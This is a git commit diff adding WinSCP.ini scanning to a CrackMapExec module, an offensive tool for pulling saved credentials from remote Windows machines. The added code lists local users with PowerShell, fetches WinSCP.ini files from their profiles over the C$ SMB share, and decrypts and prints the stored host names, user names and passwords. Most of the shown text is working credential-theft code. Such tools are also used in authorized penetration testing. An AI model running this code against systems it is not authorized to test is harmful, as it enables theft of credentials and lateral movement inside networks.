Added ability to scan for winscp.ini files

main
Alexander Neff 2022-12-29 19:14:44 +01:00 committed by mpgn
parent 1456307e11
commit cb3f44efd1
1 changed files with 64 additions and 2 deletions

View File

@ -1,13 +1,19 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# If you are looking for a local Version, the baseline code is from https://github.com/NeffIsBack/WinSCPPasswdExtractor
# References and inspiration:
# - https://github.com/anoopengineer/winscppasswd
# - https://github.com/dzxs/winscppassword
# - https://github.com/rapid7/metasploit-framework/blob/master/lib/rex/parser/winscp.rb
from impacket.dcerpc.v5.rpcrt import DCERPCException
from impacket.dcerpc.v5 import rrp
from impacket.examples.secretsdump import RemoteOperations
from impacket.smbconnection import SessionError
from urllib.parse import unquote
from io import BytesIO
import re
import configparser
class CMEModule:
'''
@ -31,6 +37,7 @@ class CMEModule:
self.PW_MAGIC = 0xA3
self.PW_FLAG = 0xFF
self.share = 'C$'
# ==================== Helper ====================
@ -318,10 +325,65 @@ class CMEModule:
remoteOps.finish()
# ==================== Handle Configs ====================
def decodeConfigFile(self, context, connection, confFile):
config = configparser.ConfigParser(strict=False)
config.read_string(confFile)
#def on_login(self, context, connection):
# pass
# Stop extracting creds if Master Password is set
if (int(config.get('Configuration\\Security', 'UseMasterPassword')) == 1):
context.log.error("Master Password Set, unable to recover saved passwords!")
return
for section in config.sections():
if config.has_option(section, 'HostName'):
hostName = config.get(section, 'HostName')
userName = config.get(section, 'UserName')
if config.has_option(section, 'Password'):
encPassword = config.get(section, 'Password')
decPassword = self.decryptPasswd(context, hostName, userName, encPassword)
else:
decPassword = "NO_PASSWORD_FOUND"
sectionName = unquote(section)
self.printCreds(context, [sectionName, hostName, userName, decPassword])
def getConfigFile(self, context, connection):
if self.filepath:
self.share = (self.filepath.split(':')[0] + "$")
path = self.filepath.split(':')[1]
try:
buf = BytesIO()
connection.conn.getFile(self.share, path, buf.write)
confFile = buf.getvalue().decode()
context.log.success("Found config file! Extracting credentials...")
self.decodeConfigFile(context, connection, confFile)
except:
context.log.error("Error! No config file found at {}".format(self.filepath))
traceback.print_exc()
else:
output = connection.execute('powershell.exe "Get-LocalUser | Select name"', True)
users = []
for row in output.split('\r\n'):
users.append(row.strip())
users = users[2:]
# Iterate over found users and default paths to look for WinSCP.ini files
for user in users:
paths = [("\\Users\\" + user + "\\Documents\\WinSCP.ini"), \
("\\Users\\" + user + "\\AppData\\Roaming\\WinSCP.ini")]
for path in paths:
confFile = ""
try:
buf = BytesIO()
connection.conn.getFile(self.share, path, buf.write)
confFile = buf.getvalue().decode()
context.log.success("Found config file at \"{}\"! Extracting credentials...".format(self.share + path))
except:
context.log.debug("No config file found at \"{}\"".format(self.share + path))
if confFile:
self.decodeConfigFile(context, connection, confFile)
def on_login(self, context, connection):
self.registryDiscover(context, connection)
self.getConfigFile(context, connection)